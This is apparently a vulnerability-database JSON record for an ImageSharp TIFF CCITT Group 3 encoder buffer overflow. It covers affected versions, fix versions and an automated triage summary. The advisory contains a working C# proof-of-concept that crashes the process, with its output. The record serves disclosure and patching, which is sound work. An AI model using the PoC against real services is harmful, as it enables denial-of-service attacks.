{"id":"CVE-2026-106110","kind":"vulnerability","aliases":["CVE-2026-106110","GHSA-j9gm-c75j-xc9q"],"related":[],"title":"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer","description":"### Summary\n\nImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.\n\nThis report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.\n### Preconditions and impact\n\nThe affected path is reached when the application encodes 1-bit image data with `TiffCompression.CcittGroup3Fax`. This can happen when an application explicitly selects `TiffEncoder.BitsPerPixel = Bit1` and `TiffEncoder.Compression = CcittGroup3Fax`. It can also occur when an application decodes a TIFF and re-encodes it using the default `TiffEncoder`, because ImageSharp retains TIFF frame metadata including the compression and bit depth.\n\n`TiffCompressorFactory` creates `T4BitCompressor` for `CcittGroup3Fax`. `TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. `WriteCode` calls `BitWriterUtils.WriteBit` and `WriteZeroBit`, both of which use `Unsafe.Add` without a capacity check. Thus the encoded bit stream can exceed the allocated span.\n\nA 1-pixel-wide, 2000-row alternating bilevel image caused a fatal `System.AccessViolationException` during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.\n\n### Tested environment\n\n- Package binary: NuGet `SixLabors.ImageSharp` **4.1.1**\n- Target framework: `net8.0`\n- Runtime: .NET 8.0.30; SDK 8.0.424\n- Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nIn a `net8.0` project that references the published `SixLabors.ImageSharp` 4.1.1 binary, save the following as `Program.cs`. Run `dotnet run -- exploit 2000` for the trigger and `dotnet run -- control 2000` for the control.\n\n```csharp\nusing System;\nusing System.IO;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstring mode = args.Length > 0 ? args[0] : \"exploit\";\nint width = mode == \"control\" ? 64 : 1;\nint height = args.Length > 1 ? int.Parse(args[1]) : 2000;\n\nConsole.WriteLine($\"mode={mode} width={width} height={height}\");\nusing var image = new Image<L8>(width, height);\nfor (int y = 0; y < image.Height; y++)\n    for (int x = 0; x < image.Width; x++)\n        image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));\n\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nmetadata.BitsPerPixel = TiffBitsPerPixel.Bit1;\nmetadata.Compression = TiffCompression.CcittGroup3Fax;\n\nusing var output = new MemoryStream();\nimage.Save(output, new TiffEncoder());\nConsole.WriteLine($\"Encoded OK: {output.Length} bytes\");\n```\n\nAgainst the published 4.1.1 package, this produced:\n\n```text\nmode=exploit width=1 height=2000\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n  at ...TiffCcittCompressor.GetWhiteTermCode(...)\n  at ...T4BitCompressor.CompressStrip(...)\n```\n\nA 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:\n\n```text\nmode=control width=64 height=2000\nEncoded OK: 76230 bytes\n```\n\nThe direct public configuration path also triggers with:\n\n```csharp\nnew TiffEncoder\n{\n    BitsPerPixel = TiffBitsPerPixel.Bit1,\n    Compression = TiffCompression.CcittGroup3Fax\n};\n```","summary":"The TIFF CCITT Group 3 (T4) encoder in SixLabors.ImageSharp allocates too small an output buffer for narrow 1-bit images, so unchecked bit writes go past its end. An attacker who controls the image being encoded can corrupt process memory and crash the process.","severity":"high","cvss":7.5,"epss":0.00385,"exploited":false,"exploited_at":null,"products":[{"name":"SixLabors.ImageSharp","fixed":["3.2.0"],"affected":">= 2.0.0, < 3.2.0","ecosystem":"nuget"},{"name":"SixLabors.ImageSharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"nuget"},{"name":"sixlabors imagesharp","fixed":["3.2.0"],"affected":">= 2.0.0, < 3.2.0","ecosystem":"vendor"},{"name":"sixlabors imagesharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"vendor"}],"ecosystems":["nuget","vendor"],"tags":["cwe-787","dotnet","image-processing","nuget","package","server-side-rendering"],"not_affected_if":["default-config","no-ccitt-g3-encoding","trusted-input-only"],"how_to_check":"- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` below `3.2.0` or in the range `4.0.0` to `4.1.1`\n- Search the code for `TiffCompression.CcittGroup3Fax` or `TiffEncoder` usage, including re-encoding of decoded TIFFs with the default `TiffEncoder`","fix":"- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line\n- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the 4.x line\n- Until upgraded, avoid encoding with `TiffCompression.CcittGroup3Fax` on attacker-controlled images","status":"open","published_at":"2026-10-06T18:16:52+00:00","first_seen_at":"2026-10-26T14:26:34+00:00","triaged_at":"2026-10-26T14:27:55+00:00","updated_at":"2026-10-26T14:30:37+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T14:27:55Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line\n- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the 4.x line\n- Until upgraded, avoid encoding with `TiffCompression.CcittGroup3Fax` on attacker-controlled images","reach":"unknown","title":"ImageSharp: TIFF CCITT T4 encoder writes past compressed output buffer","impact":"medium","summary":"The TIFF CCITT Group 3 (T4) encoder in SixLabors.ImageSharp allocates too small an output buffer for narrow 1-bit images, so unchecked bit writes go past its end. An attacker who controls the image being encoded can corrupt process memory and crash the process.","category":"package","nicknames":[],"who_cares":["dotnet","nuget","image-processing","server-side-rendering"],"confidence":0.8,"needs_auth":"unknown","worst_case":"Process memory corrupted and the process crashes; code execution not shown","analyst_note":"","how_to_check":"- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` below `3.2.0` or in the range `4.0.0` to `4.1.1`\n- Search the code for `TiffCompression.CcittGroup3Fax` or `TiffEncoder` usage, including re-encoding of decoded TIFFs with the default `TiffEncoder`","needs_analyst":false,"not_affected_if":["no-ccitt-g3-encoding","default-config","trusted-input-only"],"who_is_affected":"Applications that encode 1-bit TIFF images with CCITT Group 3 (T4) compression, either by setting it explicitly on `TiffEncoder` or by re-encoding a decoded TIFF whose metadata retains that compression. Exposure depends on whether untrusted image input can reach that encoding path. Services that never write CCITT Group 3 TIFFs can skip it.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000871,"input_tokens":5081,"output_tokens":725,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-106110':15A,23A '-2026':14A,22A '-787':31B '0':434C,436C,469C,476C,489C,491C '0815358f9202a78bc7f3b83e19282dc3654b500f':149C '1':59B,107C,213C,319C,443C,447C,450C,488C,524C '12':280C,289C,375C '2.0.0':146C '2000':323C,406C,414C,451C,526C,546C,563C '255':490C '3':46B,92C,553C '4.1.1':147C,362C,395C,516C '64':181C,442C,542C,561C '76230':566C '8.0.30':368C '8.0.424':370C 'activ':381C 'addit':288C 'affect':137C,144C,205C 'alloc':51B,99C,194C,269C,316C 'also':234C,573C 'altern':325C 'applic':211C,224C,238C,345C 'arg':435C,449C 'args.length':433C,446C 'arm64':378C 'attack':71B,353C 'attacker-control':352C 'attempt':530C 'avail':342C 'beyond':97C 'bilevel':326C 'binari':359C,396C 'bit':60B,64B,108C,198C,214C,261C,281C,290C,311C 'bit-writ':197C 'bit1':228C 'bitsperpixel':579C 'bitwriterutils.writebit':296C 'bookworm':376C 'buffer':12A,56B,103C,160C 'byte':272C,485C,512C,567C 'c75j':19A 'calcul':161C 'call':295C 'capac':306C 'caus':328C 'ccitt':3A,44B,90C 'ccittgroup3fax':127C,231C,267C 'check':307C 'commit':148C 'complet':555C 'compress':10A,101C,259C,334C,581C 'compressed-data':100C 'concern':123C 'configur':571C 'console.writeline':452C,508C 'content':136C 'control':73B,183C,354C,413C,417C,441C,548C,559C 'correspond':150C 'corrupt':79B,114C,340C 'crash':83B 'creat':264C 'csharp':418C,576C 'cve':13A,21A 'cwe':30B 'data':102C,216C,285C 'debian':373C 'decod':239C 'default':249C 'depth':262C 'direct':569C 'docker':379C 'dotnet':32B,403C,411C 'encod':5A,48B,77B,94C,105C,128C,156C,212C,245C,310C,349C,509C,564C 'end':69B 'environ':357C 'eol':282C,291C 'error':528C 'everi':187C 'exceed':314C 'explicit':225C 'exploit':170C,382C,405C,437C,522C 'expos':347C 'fatal':330C,527C 'first':162C 'flow':350C 'follow':399C 'frame':255C 'framework':364C 'ghsa':17A 'ghsa-j9gm-c75j-xc9q':16A 'gnu/linux':374C 'go':66B 'group':45B,91C,552C 'happen':221C 'height':180C,445C,457C,458C,465C,525C,562C 'icc':135C 'imag':34B,61B,75B,109C,169C,215C,327C,461C,463C,480C 'image-process':33B 'image.frames.rootframe.metadata.gettiffmetadata':494C 'image.height':471C 'image.save':504C 'image.width':478C 'imagesharp':1A,27A,29A,87C,252C 'impact':203C 'includ':257C 'input':355C 'int':438C,444C,467C,474C 'int.parse':448C 'issu':343C 'j9gm':18A 'known':384C 'l8':484C 'linux':377C 'memori':81B,116C,339C,536C 'memory-corrupt':338C 'memorystream':503C 'metadata':256C,493C,554C 'metadata.bitsperpixel':495C 'metadata.compression':497C 'mode':432C,440C,453C,454C,521C,558C 'modifi':276C 'narrow':58B,106C,168C 'narrow-imag':167C 'net':367C 'net8.0':365C,388C 'new':462C,483C,502C,506C,577C 'non':275C 'non-modifi':274C 'nuget':36B,143C,360C 'occur':235C 'ok':510C,565C 'oper':371C 'output':11A,55B,501C,505C 'output.length':511C 'packag':37B,138C,141C,358C,517C 'past':8A,67B 'path':129C,206C,572C 'per':292C 'pixel':182C,321C,544C 'pixel-wid':320C,543C 'precondit':201C 'prior':133C 'process':35B,80B,85B,115C,120C 'produc':519C 'program.cs':401C 'project':389C 'protect':535C 'public':570C 'publish':172C,393C,515C 'rang':145C 're':244C 're-encod':243C 'reach':208C 'read':532C 'refer':391C 'releas':152C,188C 'render':41B 'replac':131C 'report':122C 'reproduct':385C 'retain':191C,253C 'row':284C,293C,324C,547C 'rowsperstrip':271C 'run':402C,404C,412C 'runtim':366C 'same-height':178C 'save':397C 'sdk':369C 'select':226C 'server':39B 'server-side-rend':38B 'ship':163C 'side':40B 'sixlabors':26A,28A 'sixlabors.imagesharp':24A,25A,50B,142C,361C,394C,424C 'sixlabors.imagesharp.formats.tiff':426C 'sixlabors.imagesharp.formats.tiff.constants':428C 'sixlabors.imagesharp.pixelformats':430C 'small':53B 'span':317C 'stream':312C 'string':431C 'structur':200C 'succeed':184C 'success':556C 'summari':86C 'system':372C,420C 'system.accessviolationexception':331C,529C 'system.io':422C 't4':4A,47B,93C,126C,155C,277C,333C 't4bitcompressor':265C 't4bitcompressor.compressstrip':540C 'target':363C 'termin':118C,171C 'test':356C 'text':520C,557C 'thus':308C 'tiff':2A,43B,89C,241C,254C,582C 'tiffbitsperpixel.bit1':496C,580C 'tiffccittcompressor.getwhitetermcode':538C 'tiffccittcompressor.initialize':268C 'tiffcompression.ccittgroup3fax':218C,498C 'tiffcompressorfactori':263C 'tiffencod':250C,507C,578C 'tiffencoder.bitsperpixel':227C 'tiffencoder.compression':230C 'trigger':409C,574C 'uncheck':63B,111C,196C 'unders':159C 'unrel':134C 'unsafe.add':303C 'use':247C,302C,419C,421C,423C,425C,427C,429C,459C,499C,549C 'v2.0.0':165C,173C 'v4.1.1':153C,175C,190C 'var':460C,492C,500C 'version':140C 'vulner':193C 'wide':322C,545C 'width':270C,439C,455C,456C,464C,523C,560C 'without':304C 'write':7A,65B,96C,112C,199C,278C,534C 'writecod':294C 'writezerobit':298C 'x':475C,477C,479C,481C,486C 'xc9q':20A 'y':468C,470C,472C,482C,487C","nicknames":[],"mitigations":[],"who_affected":"Applications that encode 1-bit TIFF images with CCITT Group 3 (T4) compression, either by setting it explicitly on `TiffEncoder` or by re-encoding a decoded TIFF whose metadata retains that compression. Exposure depends on whether untrusted image input can reach that encoding path. Services that never write CCITT Group 3 TIFFs can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-06T18:16:52+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-j9gm-c75j-xc9q","url":"https://github.com/advisories/GHSA-j9gm-c75j-xc9q","severity":"high","published_at":"2026-10-07T20:24:28+00:00","modified_at":"2026-10-26T14:22:53+00:00","first_seen_at":"2026-10-26T14:26:34+00:00","fetched_at":"2026-10-26T14:31:44+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-106110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106110","severity":null,"published_at":"2026-10-06T18:16:52+00:00","modified_at":"2026-10-24T01:42:13+00:00","first_seen_at":"2026-10-26T14:30:37+00:00","fetched_at":"2026-10-26T14:30:37+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}